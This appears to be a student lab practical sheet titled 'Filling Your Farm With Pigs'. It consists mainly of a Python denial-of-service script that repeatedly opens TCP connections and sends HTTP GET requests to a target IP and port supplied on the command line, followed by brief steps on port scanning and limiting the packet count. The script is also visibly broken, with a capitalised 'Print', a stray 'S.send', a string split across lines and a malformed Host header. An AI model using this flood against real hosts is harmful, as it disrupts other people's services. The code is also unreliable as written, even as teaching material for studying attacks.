Date :

E8) Filling Your Farm With Pigs

Aim   Performing DOS attack on the IP address to check integrity of the defenses

Procedure

1) Get a suitable python compiler

2) Run the foll .py code

```python
import socket
import sys

print("][ Attacking "+sys.argv[1]+ "...][")
Print ("injecting "+ sys.argv[2])
def attack():
    S= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    S.connect((sys.argv[1], int(sys.argv[3])))
    print(" >>GET /"+sys.argv[2]+ "HTTP/1.1")
    S.send
    S.send(("GET /"+ sys.argv[2]+ "
HTTP/1.1\r\n").encode())
    S.send(("Host, "+sys.argv[1]+
"\r\n\r\n").encode())
    S.close()


while True:
    attack()
```

3) Identify open & closed ports using port scanner
   do not DOS an open port that's recognized

4) Change while to for loop incase 'n' packets are to be sent

Teacher's Signature: